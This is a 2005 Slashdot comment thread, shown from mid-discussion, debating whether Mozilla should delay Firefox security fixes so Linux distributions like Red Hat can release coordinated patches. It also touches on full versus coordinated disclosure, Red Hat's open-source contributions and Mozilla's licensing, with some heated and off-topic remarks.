If you're trying to make the point that people would be "screaming bloody murder" if distros released fixed without known exploits, you are wrong. For examples of *tons* of vulnerabilities without known exploits that have been patched by individual distributions, just take a look at this page:

http://lwn.net/security

You'll see that in general there is no coordination whatsoever between the distros. But no-one has screamed bloody murder.

If you're trying to make the point that people would be "screaming bloody murder" if distros released fixed for vulnerabilities *with* known explots without co-ordination, you are also wrong. In fact, just the opposite would happen -- if there is a known vulnerability, people want their distros to fix things ASAP, not sit on their asses until every other distro plus upstream has time to fix.

So, either way you are totally and unequivocally *wrong* about anybody screaming bloody murder about distros doing to Mozilla what Mozilla is doing here. Both happen routinely, and your stupid +5 comment is only misleading people.

Suck it up, admit that you are WRONG, that what you said HAS NOT A GRAIN OF TRUTH TO IT. Instead of trying to save face by playing word games, you need publicly correct your mistake instead of trying to cover things. You are being an asshole.
Re:I'm not sure I agree with this... by Chris+Snook · 2005-05-22 04:51 · Score: 1

Not just Red Hat, this is SOP in the industry. But it's not "Don't release until we're ready.", rather "Please give all of the vendors the patch and a little time to build it, QA it, and prepare it for distribution, and if anyone gets left behind, that's their problem."

In many cases, bugs are actually discovered by the vendors in the first place, so publishing a patch before the time the vendors have agreed upon is in many cases incredibly rude. For the bugs discovered elsewhere or by your own developers, it's probably worth considering how much these distributors do for your product.

If you really want to screw the vendors on security patches, don't be surprised when they decide to fork your project or move all their developers to another project entirely.

Remember, Free Software is about choice.

--
There's no failure quite as dissatisfying as a complete and total solution to the wrong problem.
Re:I'm not sure I agree with this... by ShieldW0lf · 2005-05-22 04:55 · Score: 1

The difference is one of responsibility.

Mozilla is responsible for their project. They code it so you don't have to, they fix it so you don't have to. They've assumed that responsibility.

Red Hat is responsible for building a compilation different projects so you don't have to. If they unload that responsibility on the users or the individual projects in their distro, they have dropped the ball, and have no reason to exist.

Considering that the Moz project is a volunteer project, and that Red Hat is being paid huge amounts of money just to package and patch other peoples work, it's rather offensive for them to be playing the shifting blame game. They are not Microsoft, they are not the irreplacable gatekeepers, they are just another distro selling other peoples work.

The day that a distro or two can start dictating to the projects instead of the other way around, there's a serious problem. If they're not up to the task of reacting to Moz's developments (and every other project) rather than dictating to them, they should stop charging money for the service and go home.

Stories like this make a great case for the Linux Standards Base project. Red Hat has been getting too big for their britches for a while now.

--
-1 Uncomfortable Truth
Re:I'm not sure I agree with this... by Chris+Snook · 2005-05-22 05:06 · Score: 1

When OpenSSH had a massive hole, they went around telling everyone "upgrade to this particular version or higher". When full disclosure was made a few days later, everyone realized that the default configuration of several previous versions already protected them from it anyway, and got extremely pissed off that they had to stay up all night for a couple of days to QA this change to a very critical component of their distribution, when they could have just said "turn on privilege separation until we've backported the fix". This pissed off pretty much everybody.

Speaking of pissing off pretty much everybody, I don't think that DJB speaks for a whole lot of the security community. He's respected (not necessarily liked) in the academic security community, but I doubt you'll find too many people who would argue that he plays well with others, which is kinda what this whole thread is about.

--
There's no failure quite as dissatisfying as a complete and total solution to the wrong problem.
Re:I'm not sure I agree with this... by LnxAddct · 2005-05-22 05:44 · Score: 2, Informative

See and that is where you are wrong.

Red Hat doesn't just patch up other's work. Red Hat codes most of the stuff in the linux desktop and they pay alot of programmers to do it. Red Hat has coded most of Gnome (ximian also did alot), Red Hat hosts Gnome.org. They've done a hell of a lot of work for making OpenOffice.org integrate well with the linux desktop including using native widgets and Red Hat has coded and still currently develops GCJ allowing them to compile all of OpenOffice's java stuff natively.

They contribute code to firefox to make it work seamlessly with Linux. Red Hat contributes tons of code to Apache, they played a key role in getting SELinux into the mainline kernel. As a matter of fact, they pay the salaries of some of the best and most important kernel coders including Alan Cox. Red Hat has put more code into the kernel then any other entity.

Most of the drivers you are using were probably written by Red Hat, especially the audio and video drivers, and most likely your network drivers. Most of those kernel bugs and security issues are fixed by Red Hat within 24 hours, if not a few days, and Red Hat is one of the reasons why linux is known for such a good turn around time with patches.

Lets see what else they do... okay they host and fund GCC, GLIBC, Binutils, GDB and brought us Cygwin as well. Red Hat is a major backbone in the OSS world. They deserve all they praise and success that has come to them simply because most of the applications you use in a free software environment were coded, if not fully, then partially by them.

They are an integral part in Linux's success and are the only reason that it is enterprise ready with high levels of stability. You were right in saying that most distro's just repackage and sell other people's work, but Red Hat is the exception to that. Red Hat actually helps to make the stuff it sells and plays a huge role in that software. Now they are working on advancing linux's graphics capabilities and bringing linux to a whole other level.

You knock Red Hat for selling other people's work, yet they've written most of it and others repackage it and sell it. Get your facts straight and start appreciating what they do for the community (and just FYI, they do alot of quality assurance for OSS projects too, including firefox).
Regards,
Steve
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 06:20 · Score: 0

No, it egalitarianises the users.

In this instance, the distinction is almost nonexistent. I suspect you were modded insightful simply for verbing a word the moderator did not understand in the first place.
Re:I'm not sure I agree with this... by kfg · 2005-05-22 07:49 · Score: 1

I suspect you were modded insightful simply for verbing a word the moderator did not understand in the first place.

Could well be. It happens. Either that or he speaks jive.

KFG
Re:I'm not sure I agree with this... by m50d · 2005-05-22 08:45 · Score: 1

Once the source code for the patch is out there, any script kiddie will have an exploit. This leaves distribution users who don't want to install an upgrade from source (which will lose their support) high and dry. If you save releasing the exploit publicly until every vendor has a patch ready, then people can patch before the vulnerability becomes widely known. Real crackers can reverse engineer the vendor patches, or have someone on the inside - but then real crackers probably found the vulnerability before any of the "good guys" knew about it.

--
I am trolling
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 15:10 · Score: 0

You have an incredibly broken understanding of Redhat's contributions to free software. Maybe you should start reading AUTHORS files from now on.

Just for starts, Redhat didn't pay for the development of 1. my video driver 2. my network driver 3. my audio driver, but thanks for playing anyway.
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 23:05 · Score: 0

Actually, the word from the OpenSSH people WAS "turn on privilege separation ASAP".

The question is "WHY?" by bogaboga · 2005-05-22 02:04 · Score: 3, Insightful

Quote: "redistributions of the official Mozilla releases are never going to give you security updates as quickly as Mozilla".

I read the above quote may times over and the person from RedHat's response. I kept asking myself over and over again...WHY? Because if Mozilla operated the same way other OSS projects do by default, I can only see good things out of this. I wonder why they choose to do things this way.

Re:The question is "WHY?" by Anonymous Coward · 2005-05-22 02:20 · Score: 0

MAybe I'm misunderstanding this, but what the Red Hat guy seemed to be saying was that after Mozilla have a fix for a bug, that they should tell Red Hat (and others) and then wait a few days before making that fix avaiable to me (a Firefox user). I don't understand what possible reason there could be to do that.
Re:The question is "WHY?" by zerbot · 2005-05-22 02:22 · Score: 1

Well, if you read the Red Hat guy's page, he's talking about a matter of a few hours, not days.
Re:The question is "WHY?" by ProfaneBaby · 2005-05-22 02:33 · Score: 4, Interesting

There's really two scenarios here:

1) A hole is made known to Mozilla before it's made known to the public.

2) A hole is made known to Mozilla and the public at the same time.

In (1), it's reasonable to ask that the software developer at least make a token notification to various vendor's security contacts. Most of the vendors are reasonably private - they won't post the matter to a mailing list - and responsible. The software developer certainly doesn't HAVE to do this, but it would benefit a larger portion of its end users.

In (2), it doesn't make any sense to notify each distribution, because the whole world already knows, and each hour wasted on notification could mean people who are damaged by the hole.

I think the difference between (1) and (2) is significant, and it's important to realize that the case we're talking about here is (2). The hole was made public in Bugzilla, and Mozilla had to rush to create a patch. Holding that patch to give the distributions time to update is silly - people already knew there was a hole, and users were already waiting on the fix. If the initial bug was private, this would be an entirely different story.

--
Video Phone Blogs send video messages straight to the web.
Re:The question is "WHY?" by Anonymous Coward · 2005-05-22 02:38 · Score: 0

Well, if you read the Red Hat guy's page, he's talking about a matter of a few hours, not days.

Yes, I was saying that I don't see the justification for doing it. If your response addressed that then I don't see how. Sorry, I think I must be being very slow in understanding today.
Re:The question is "WHY?" by digidave · 2005-05-22 02:50 · Score: 4, Insightful

So Mozilla should give RedHat preferential treatment? If they hold back a patch to wait for RedHat, don't they also have to wait for Suse? Debian? Everybody else?

Holding back patches is nonsense and is something Slashdotters regularly blast Microsoft for doing.

--
The global economy is a great thing until you feel it locally.
Re:The question is "WHY?" by Anonymous Coward · 2005-05-22 03:51 · Score: 0

1. This is not about holding up for months but hours
2. There are actually some smart coders in distributions - giving them the time to review fixes would avoid releasing half-broken Firefox versions
3. If most other OSS projects do it this way (including the paranoïd openssh folks) it's a strong indicator the Moz people are behaving stupidly. Because they have the leading OSS browser doesn't mean they do everything right.
4. Releasing early won't do a lot of good to anyone if the moz servers crash under the load because they're the only ones with the fix
Re:The question is "WHY?" by Anonymous Coward · 2005-05-22 04:15 · Score: 0

Just a note to tell you that the site in your sig doesn't work in Firefox ;)
Re:The question is "WHY?" by Anonymous Coward · 2005-05-22 05:36 · Score: 0

There's really two scenarios here:

1) A hole is made known to Mozilla before it's made known to the public.

2) A hole is made known to Mozilla and the public at the same time.

I don't think Case 1 ever happens in an Open Source project. If I am to assume that the Mozilla project is run the same way as every other open source project I have ever seen or worked on than as soon as something is made known to the Mozilla project it is made known to the public. Most projects that I know about have a mailing list that is open to the public and when a bug gets mentioned there anyone in the public can read about it. Same thing is true for CVS, as soon as someone submits something and puts in the description that it fixes a certain security issues it is known to the public. In fact, once you take this openess to the public away you end up having a close source project. Sound to me that Red Hat wants to make things closer to how Microsoft does it. Too bad for them that they are not the open source community and only part of it. It's not like Red Hat sycronizes it releases with every linux vendor out there.
Re:The question is "WHY?" by calc · 2005-05-22 06:19 · Score: 2, Informative

When a project knows there is a security hole and when the general public knows there is one is usually at least a week sometimes several apart. Many projects have secret lists that security information is distributed on. Also with respect to fixing the bugs in CVS they in general don't commit the security fix in CVS until the public disclosure date. An example project that I know does this is KDE.

People just like to beat up on Redhat but this really is standard practice for Case 1.
Re:The question is "WHY?" by m50d · 2005-05-22 08:47 · Score: 1

No, they should patch their binary releases, give redhat, suse, and everyone on their accredited list (show you're a vendor and care vaguely about security and you get on) the source patches, but hold off making the source patches public for a week. That way redhat and everyone know where they stand, if they can't get it out in a week it's their fault, but if they can there's no need for their users to be exposed to extra vulnerability.

--
I am trolling
Re:The question is "WHY?" by DA-MAN · 2005-05-22 08:47 · Score: 1

Well, if you read the Red Hat guy's page, he's talking about a matter of a few hours, not days.

What the hell difference does it make? My RHEL4 workstation is still running Firefox 1.0.3 and without any security update for the fixes.

For reference, 1.0.4 was released on May 12th. It's been over 10 days and still no update or backport of the security fixes.

Hate to say this, but for once I feel just a teeny bit safer surfing on Windows (w/ Firefox of course) than on my up to date Linux box.

--
Can I get an eye poke?
Dog House Forum
Re:The question is "WHY?" by Anonymous Coward · 2005-05-22 10:49 · Score: 0

That would mean major changes to the way the project works. Their CVS server is open - the binary patches aren't available until at least a few hours after the source patch is available from CVS.
Re:The question is "WHY?" by m50d · 2005-05-23 04:03 · Score: 1

It might take major changes, but if that's what's needed for security they should do them.

--
I am trolling
Re:The question is "WHY?" by Trogre · 2005-05-23 13:05 · Score: 1

http://www.profanebabies.com/

I don't get it. It just links to a blank page with a google ad.

--
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
Re:The question is "WHY?" by Anonymous Coward · 2005-05-25 06:00 · Score: 0

I've been part of the security team for one of the OSS operating systems.

The standard way to do this - for security flaws discovered by "good guys" and assumed unknown to the cracker community - is to give a certain amount of notice to every security team, and then wait until that time is up. Ie, tell people "We have security vulnerability X. We'll go public with that at friday the 13th at 22:00 (just as all the system administrators are getting good and drunk and the hackers are gearing up for the weekend). Please coordinate."

Then everybody prepare new packages etc, and make sure to get them out inside the hour from 22:00 to 23:00, and the crackers have all weekend to play havoc.

Or maybe we coordinate for a monday instead :)

What's worse by keesh · 2005-05-22 02:06 · Score: 4, Interesting

What's worse is the way the mozilla projects rarely seem to manage to put out an actual working source tarball. For the past dozen or so releases they've always released incomplete or unworking sources. Screwing up once is understandable, but to repeatedly omit things strongly implies that they're not interested in anyone using anything except their official binaries.

Re:What's worse by Anonymous+Brave+Guy · 2005-05-22 02:20 · Score: 0

Sorry if this is a really daft question, but isn't that a pretty clear breach of the GPL?

If the official Mozilla releases don't follow the rules, it doesn't say much for the rules. :-(

--
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Re:What's worse by Anonymous Coward · 2005-05-22 02:26 · Score: 0

Well, during the discussion about their trademarks and logos and "inofficial" binaries, the Mozilla team has already shown that they care less about openness than about "branding" and other marketing bullshit.
Re:What's worse by Anonymous Coward · 2005-05-22 02:27 · Score: 4, Informative

But mozilla/firefox from the mozilla foundation is released under the MPL with the logos trademarked (You can't use the firefox logo. In your custom version, you have to use the globe icon or something new)

You can freely download the tri-license source code (MPL/GPL/LGPL I believe) from the CVS. If the tarball isn't working it's probably because an automated script is busted and perhaps the person complaining should file a bug.
Re:What's worse by NeuralAbyss · 2005-05-22 02:30 · Score: 1

That's all well and good.. except for that Mozilla is released under the MPL (Mozilla Public License), AFAIK.
Re:What's worse by moonbender · 2005-05-22 02:50 · Score: 1, Troll

Yeah, you're right - they're just like those Debian guys with their logo. And we all know they don't care about openness!

--
Switch back to Slashdot's D1 system.
Re:What's worse by Spicerun · 2005-05-22 04:43 · Score: 1

"What's worse is the way the mozilla projects rarely seem to manage to put out an actual working source tarball."

Sounds like someone who refuses to read how to build the tarball...which has some differences from the typical build instructions of other programs.

I've been able to build the nightly builds & official release tarballs of both mozilla (now seamonkey) and firefox for months with no problems at all, and they've worked great. All I had to do was follow the Instructions.
Re:What's worse by dolphinling · 2005-05-22 06:43 · Score: 1

It's tri-licensed under the MPL, GPL, and LGPL. That means you can release code based on Mozilla under any one, two, or all three.

(Of course, it won't be accepted into the mozilla.org codebase unless it's also tri-licensed)

--
There are 11 types of people in the world: those who can count in binary, and those who can't.
Re:What's worse by petermgreen · 2005-05-22 08:30 · Score: 1

is it all tri-licensed yet or are there bits still mpl only?

--
note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register

Well This Feels A Bit Weird... by Comatose51 · 2005-05-22 02:08 · Score: 2, Insightful

Where's the article?? It's just two short blog entries between two guys arguing over an issue. How is that news or "stuff that matters"? It's almost like reading two headlines. This has a feel of high school.

High school girl A: So Ben Goodger's claim that "redistributions of the official Mozilla releases are never going to give you security updates as quickly as Mozilla"
High school girl B: "Christopher Aillon of Red Hat says that this is only because Mozilla doesn't play by the same rules as other OSS projects"
High school girl A: No. He didn't.

[cat fight]

Except there would be no cat fight here....

--
EvilCON - Made Famous by /.

Re:Well This Feels A Bit Weird... by Anonymous Coward · 2005-05-22 02:16 · Score: 0

You know two high school girls?
Re:Well This Feels A Bit Weird... by leonmergen · 2005-05-22 02:17 · Score: 1

Where's the article?? It's just two short blog entries between two guys arguing over an issue. How is that news or "stuff that matters"? It's almost like reading two headlines. This has a feel of high school.

Except that these two highschool girls talk in the name of two pretty large OSS projects, and thus are in the interrest of 'News for nerds' ...

--
- Leon Mergen
http://www.solatis.com
Re:Well This Feels A Bit Weird... by rob_squared · 2005-05-22 02:34 · Score: 0

So, I guess what I'm really trying to say is...there should be more catfights on slashdot.

--
I don't get it.
Re:Well This Feels A Bit Weird... by Anonymous Coward · 2005-05-22 02:39 · Score: 0

welcome to the future....

---
Kim Komando
Re:Well This Feels A Bit Weird... by antdude · 2005-05-22 02:47 · Score: 1

Heh, two geeky women. Now, that would be a sight to see!

--
Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
Re:Well This Feels A Bit Weird... by Felinoid · 2005-05-22 02:50 · Score: 1

Don't know about the grandparent but I knew more than two girls when I was in high school.
I dated a few of them.

Now (as then) I prefer to hang out with females that are in my age group (+/- 10 years of my age ... Ok No more than +5 and no less than -10.)

--
I don't actually exist.
Re:Well This Feels A Bit Weird... by bladesjester · 2005-05-22 03:28 · Score: 1

I'm not sure that's a sight you'd want to see. Most of the geek girls that I know are also martial artists. =]

--
Everything I need to know I learned by killing smart people and eating their brains.
Re:Well This Feels A Bit Weird... by Comatose51 · 2005-05-22 13:11 · Score: 1

Touche...

I guess anything that involves two high school chicks is "stuff that matters" for nerds.

--
EvilCON - Made Famous by /.

Making a story that isn't there. by Anonymous Coward · 2005-05-22 02:10 · Score: 5, Insightful

Those links seemed almost like the biggest non-articles ever to hit Slashdot. I asked myself... "is that it?" Links to some petty blog nonsense, basically.

Mozilla's problems aside, Aillon's point is stupid. Stupid as that picture of him imitating the Matrix, or whatever the hell he is doing. Basically, there doesn't seem to be any meat here, any story. Good work saving Slashdotters the time of RTFA-ing, because in this case, reading the article wouldn't have made any difference.

Re:Making a story that isn't there. by Krunaldo · 2005-05-22 06:37 · Score: 1

This is what mozilla dev said: "Netscape 8 Is Unsafe

Users of the Netscape 8 browser can click here to verify that their browser exhibits the Cross Site Scripting flaw that was fixed for Firefox 1.0.4.

If security is important to you, this demonstration should show that browsers that are redistributions of the official Mozilla releases are never going to give you security updates as quickly as Mozilla will itself for its supported products."

Nice cut there... Isn't missqouting illegal?! I know it is in some countries.

--
God,root what's the difference? I read slashdot, there for I errr... am stupid?

Whiny RedHat, or lazy Mozilla? by lheal · 2005-05-22 02:18 · Score: 4, Insightful

This may sound like the tail whinning that the dog doesn't wag, but the vendors may have a legitimate complaint.

The potential for harm is if Mozilla releases a security fix, and the distros don't right away. There's a period of time in which Mozilla version x.y is vulnerable on FooDistLinux, and there's no reasonable expectation for the fix to happen for some period. Since the fix has been released, attackers are on notice that there is are vulnerable systems out there, and they're running Mozilla x.y on FooDistLinux.

Now, mind you, I don't think that's such a big fat hairy deal. But the situation does put minor distros (anything not supported by the official Mozilla site) at a disadvantage. The perception is that the major players are "more secure", since you can get your fix straight from Mozilla.org.

--
Raise your children as if you were teaching them to raise your grandchildren, because you are.

Re:Whiny RedHat, or lazy Mozilla? by dos_dude · 2005-05-22 02:46 · Score: 1

Since the fix has been released, attackers are on notice that there is are vulnerable systems out there...

Wouldn't you think that the attackers are on notice because somebody posted the exploit/vulnerability to some security mailing list?

Are attackers really that lazy? Do they wait until there's a story on slashdot about a new Mozilla release?
Re:Whiny RedHat, or lazy Mozilla? by lheal · 2005-05-22 02:54 · Score: 1

Right, that's why I said it wasn't such a "big fat hairy deal". Sorry I wasn't specific.

I think that usually it's better to post a fix for someone rather than waiting to post them for everyone.

--
Raise your children as if you were teaching them to raise your grandchildren, because you are.
Re:Whiny RedHat, or lazy Mozilla? by Anonymous Coward · 2005-05-22 04:05 · Score: 0

Actually, it is a big fat hairy deal because this is OSS. Really, I'm NOT trolling here when I say that the "bad guys" have the old source and the new source - they can immediately see where to go with an exploit and create one right now. With the stuff /. considers evil, at least during that waiting interval they don't have it so easy to come up with an exploit.

I'm thinking there may be some good middle ground though. What about if Mozzila released only their binary releases until such time as the distro folks have a reasonable amount of time to create a patch? Maybe two weeks? Is that too long? At the end of that time, Mozilla posts the source.

Thoughts? Is this stupid?

But Mozilla IS the vendor for most people by Curmudgeonlyoldbloke · 2005-05-22 02:22 · Score: 5, Insightful

I suspect that the vast majority of Firefox users are on Windows (simply because the majority of computer users are). They don't have the luxury of up2date or an apt-get repository and have to go to each non-Windows vendor to obtain updates. Why should Mozilla wait for someone maintaining a repository for a minority of their users before releasing an update for the majority?

I'm sure that's the offical position, anyway. And of course they want to drive traffic to their site, and make a big deal about counting downloads.

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 02:25 · Score: 0

How is the parent comment offtopic? If anything, it's interesting. Mods on crack...

fuck off by Turn-X+Alphonse · 2005-05-22 02:27 · Score: 3, Insightful

"simeltaneous releases of patched software"

This is OSS took to the extreme. One for all and all for one doesn't apply when people are at risk. If you don't release a fix ASAP then you're knowingly risking the security of peoples computers. Like it or not this is a ridiclous idea from the ground up.

Work together for the greater good, don't force others to work together so you all look good.

--
I like muppets.

Re:fuck off by six · 2005-05-22 02:46 · Score: 2, Informative

This is OSS took to the extreme. One for all and all for one doesn't apply when people are at risk. If you don't release a fix ASAP then you're knowingly risking the security of peoples computers. Like it or not this is a ridiclous idea from the ground up.

In this case it is a bit more complicated because releasing early patches is putting the distro-using people at risk. The fact is inherent to OSS, when a fix is released you just have to diff the source code to easily find the vulnerability of the old version and exploit it. So in this case I think this expose people to more risk than just a reasonable delay for everyone during which the vulnerability is not disclosed anyway.
Re:fuck off by jZnat · 2005-05-22 03:42 · Score: 1

Are you implying that "security by obscurity" is better than the OSS way? I dunno...

--
'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
Re:fuck off by renerask · 2005-05-22 05:04 · Score: 1

So, you are saying that redhat and other distros should just go ahead and release their patched versions of firefox (when they have a fix for a security bug) and hope the mozilla organization catches up before their users get hacked?

No?
Re:fuck off by geminidomino · 2005-05-22 14:38 · Score: 1

In this case it is a bit more complicated because releasing early patches is putting the distro-using people at risk.

Which distros prevent you from installing the Vendor-released install, or building from the source yourself?

Sure, certain[cough] distros might have issues with stupid package management, but that's hardly Moz's fault.

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 02:29 · Score: 0

Cute troll, but nobody that stupid would be able to figure out how to get a slashdot account nor would they be a reader of an OSS bigoted site. Sadly I do believe things like this happen in our IT world.

News for turds by Anonymous Coward · 2005-05-22 02:31 · Score: 0

You can't divide by zero. It's illegal.

Re:We tried working with Mozilla... by zerbot · 2005-05-22 02:32 · Score: 1

It's a common troll. Replace the software in question with whatever is being discussed. The tagline is the giveaway, "Needless to say, the $SOFTWARE_PACKAGE team offered no support whatsoever. I made the employee uninstall $SOFTWARE_PACKAGE from the machines and lets just say he's not with us anymore."

How is this Mozilla's problem? by Emetophobe · 2005-05-22 02:32 · Score: 3, Insightful

I don't see how Mozilla is in the wrong. It is upto the various linux distributions to manage said distribution, not mozilla.

I want Firefox security updates as soon as they are available on my Micro$oft box, why should I have to wait for distribution X to play catchup. It is said distributions job to maintain that distribution, not Mozilla.

Should I, the user, have to wait for important security updates because some distribution wants to repackage them? The answer is no.

Re:How is this Mozilla's problem? by Chris+Snook · 2005-05-22 05:28 · Score: 3, Interesting

It's the project's problem if they want the continued support of the vendors. A completely plausible example of how a vendor could be justifiably furious:

1) Vendor gets bug reports from their customers.
2) Vendor examines the code and discovers that the bug is exploitable.
3) Vendor's developers write a patch and send it to the project's security team.
4) Project security team realizes that they do a similar bad thing in other parts of their code, and the fix will need to be a much larger patch.
5) Project publishes the larger patch with full disclosure of vulnerabilities.
6) Vendor's QA and distribution people stay up all night verifying this much larger patch, to minimize the amount of time their customers are vulnerable to the exploit they discovered in the first place.

No, it doesn't always happen like this, but it can and has. This is why the vendors have set up coordinated disclosure agreements, where they all say "We're going to publish this whole thing at exactly this time." and if any vendor can't QA it and push it out to their customers in time, that's their problem.

For the millions of dollars in development effort that the various commercial distributors put into the various F/OSS projects they use, you'd think they deserve a level playing field on security. If your project doesn't think the vendors deserve this level playing field, don't be surprised when your project gets forked, or those millions of dollars in development effort get redirected to someone else's project.

--
There's no failure quite as dissatisfying as a complete and total solution to the wrong problem.
Re:How is this Mozilla's problem? by m50d · 2005-05-22 08:51 · Score: 1

They should wait a known period after contacting distribution people. That way red hat etc. have a known time to test the fix. They don't want to release an untested product, even if that means leaving their systems vulnerable.

--
I am trolling
Re:How is this Mozilla's problem? by Anonymous Coward · 2005-05-22 15:13 · Score: 0

I'm sure that Mozilla really gives two shits whether Redhat cooperates with them. Redhat is far more dependent on the existence of Gecko than Mozilla is dependent on the existence of Redhat.

Horrible Typo by Un-Thesis · 2005-05-22 02:37 · Score: 0, Redundant

It is "simultaneous", not "simeltaneous".

No editor caught this? :o

--
Promote freedom; fight fascism.

Re:Horrible Typo by Un-Thesis · 2005-05-22 02:50 · Score: 0, Offtopic

So...I was the first visible person to point out the typo and it's labeled redundant? I don't understand :-/

--
Promote freedom; fight fascism.
Re:Horrible Typo by Anonymous Coward · 2005-05-22 03:09 · Score: 0

You're expecting editors here to edit, something that doesn't happen and is well known to not happen.

That typo is not redeundant, but pointing out typos in general is.

Depends by zerbot · 2005-05-22 02:37 · Score: 4, Insightful

If the exploit is public knowledge, or is known as being used to exploit by blackhats, then releasing the fix as soon as it is finished is best. If the exploit is not publically known, and there are no signs it is being used, then a coordinated release is best. Not coordinating ends up leaving a window for blackhats to find out about the exploit and use the vulnerability on those systems that are not yet patched.

Re:Depends by Anonymous Coward · 2005-05-22 02:57 · Score: 1, Insightful

If the exploit is not publically known, and there are no signs it is being used, then a coordinated release is best. Not coordinating ends up leaving a window for blackhats to find out about the exploit and use the vulnerability on those systems that are not yet patched.

Except that history proves that no matter how coordinated you are, someone will always be at risk because there is no way to force everyone to update. Whether its Nimda attacking a bug that was patched six months prior, or crappy PHP forum software pushing the "exploited linux-powered website" count past the windows statistic, people aren't going to patch in a timely manner, and it's not going to be a small handful.
Re:Depends by zerbot · 2005-05-22 03:27 · Score: 2, Insightful

There's a difference between being unpatched because you're a mouth breather who doesn't pay attention, and being unpatched because the devs didn't notify the distro I use before they put the exploit in the wild.

I can set things up to automatically patch or notify me when security patches come out for my distro. I don't know of anyway to do that right off the Mozilla site. This is all pretty moot in this situation since the exploit was already publicized, and this is end user software as opposed to server daemon stuff that has to stand up to attack 24/7.

The fact that some people aren't going to patch even if you hit them with a clue-by-four doesn't mean that I can't patch, and luckily the professionally run projects give the clued the opportunity to get patched shortly after the vulnerability gets publicized. The fact that some people won't patch is not an excuse for failure to produce a patch in the first place, and it's not an excuse for failing to let the clued patch as soon as the vulnerability is released to the wild.

vendor-sec vs. full disclosure? by Anonymous Coward · 2005-05-22 02:38 · Score: 1

Sounds like the whole vendor-sec debate again...

There are 2 extreme ways of doing security fixes.

The full disclosure method is to immediatly tell the world that you have a bug, even before you actually have a bug that fixes it.

The up side of this is that it informs sys-admins to stay away from certain programs or certain features in programs. Perhaps disable it until the bug is resolved.

The down side is that it creates 0day exploits, used widely by skript ciddies to pester those sys-admins who are not as observent.

The other method is to hide the bug, at least until it is fixed, possibly indefinatly.

The up side of this, is that it you can't exploit the bug just by reading bugtraq or something.

The down side, is that you may not have been the first to find that bug. Someone out there could be exploiting it, and you are not telling people their systems are vunrenable.

Mozilla does something in the middle, nearer the full disclosure side. They keep the bugs secret until they have a fix and they made a new release.

vendor-sec (To which Red Hat belongs) believes that the security hole should not be published for a period of time after the fix, to let it's members package the new release, and therefore make sure (smart) users will already be protected by the time the skript ciddies have a premade exploit.

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 02:42 · Score: 0

Do you post on Chronicals of George?

Funny.... by Anonymous Coward · 2005-05-22 02:46 · Score: 0

Funny that someone from _Red Hat_ is complaining about an OSS not playing by the rules.

Re:simeltaneous by DrJimbo · 2005-05-22 03:03 · Score: 2, Funny

Are you trying to say simultaneous?

Nope. He is obviously an overclocker running SMP and he is referring to the rare condition where all of his CPU's melt at once.

--
We don't see the world as it is, we see it as we are.
-- Anais Nin

Paunch? by BenjyD · 2005-05-22 03:13 · Score: 0, Offtopic

Is that a beer belly sticking out in that guy's Matrix imitation, or just the way his shirt hangs? Distinctly less Matrix-stylee if the former.

Re:We tried working with Mozilla... by jleq · 2005-05-22 03:13 · Score: 3, Insightful

Mozilla isn't obligated to offer you support. You are an idiot for firing an employee simply over a small software issue. Plus, any reasonable IT person would give users a CHOICE of IE or FireFox for quite a while, until people adjusted to the new software and the IT staff were certain that it would not conflict with existing systems (such as your intranet).

However, I'd like to note that Mr. Goodger should really learn how to develop websites for cross-browser compatibility. It looks like crap here at work, where we use IE. Being the lead-developer of a competing browser is no excuse for not having a website that looks good on ALL platforms.

Re:Why is this a bad thing? by craigevil · 2005-05-22 03:14 · Score: 1

I do not see what the big deal is. The same day Mozilla releases an update for Firefox/Mozilla for Windows they release the tarball version for Linux. It seems to me it is up to the individual distros to put out the repackaged versions. The newest version of Firefox was in the Debain Sid repository 2 days after the "official" Mozilla update was released. Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)

--
Debian Sid LXDE Firefox 3.6.4
GNU/Linux and Firefox, surfing the internet safely.

Why is latency such a problem? by vagabond_gr · 2005-05-22 03:15 · Score: 4, Interesting

I don't understand why a 1-2 days latency is such a problem for a distro. It's like someone complaining that cvs users get the fixes before they appear on mozilla.org.

Summary:
- you're paranoid about security, get cvs updates every hour.
- you're seriously concerned about security, get the new binary as soon as you read it on /.
- you're lazy and you like it: apt-get install, 1-2 days after.

Re:Why is latency such a problem? by Anonymous Coward · 2005-05-22 09:47 · Score: 0

If I was paranoid about security, I'm not so sure that I'd be getting code right as it is committed to CVS. Hourly updates can get broken or braindead code that contains buffer overflows. Unless of course you're talking about reading through ever line of each commit, which is the truly paranoid way to do it. ;)

Becuase by Bruha · 2005-05-22 03:25 · Score: 2, Insightful

Redhat makes it's own modificatoins to Mozilla and Firefox maybe.

Linspire surely does but they at least work with the company to get them into the main tree so it's not so much of a problem.

Along with any number of big distros that do something to the original package.

All which could of been avoided if said companies just used the plugin infrastructure to make their modifications and repackaged it that way.

Don't screw me because RedHat is slow by Mr.+Underbridge · 2005-05-22 03:25 · Score: 2, Interesting

Holding back by a few hours until vendors can merge the fixes with any customizations they have done actually equalizes the users, in that all end users have access to the fixes for their particular build at the same time, regardless of where they get their builds from.

And that's good why? If a fix is out and I'm running something mission-critical, I want it now. If your distro is slow, get another distro - or better yet - install it your f**king self using the version Mozilla puts out. It's really not hard. Sometimes, I swear, I think some people would be incapable of installing software if they didn't have a package from their distro. Of course I imagine it's obvious what distro I use. ;)

Re:Don't screw me because RedHat is slow by msully4321 · 2005-05-22 03:39 · Score: 1

Slackware?

--
Slashdot: You will never find a more wretched hive of spam and zealotry. We must be cautious.
Re:Don't screw me because RedHat is slow by Mr.+Underbridge · 2005-05-22 09:47 · Score: 1

Slackware?
You cheated! ;)
Re:Don't screw me because RedHat is slow by geminidomino · 2005-05-22 14:29 · Score: 1

Nah, he might just be a fellow Slacker. ;)

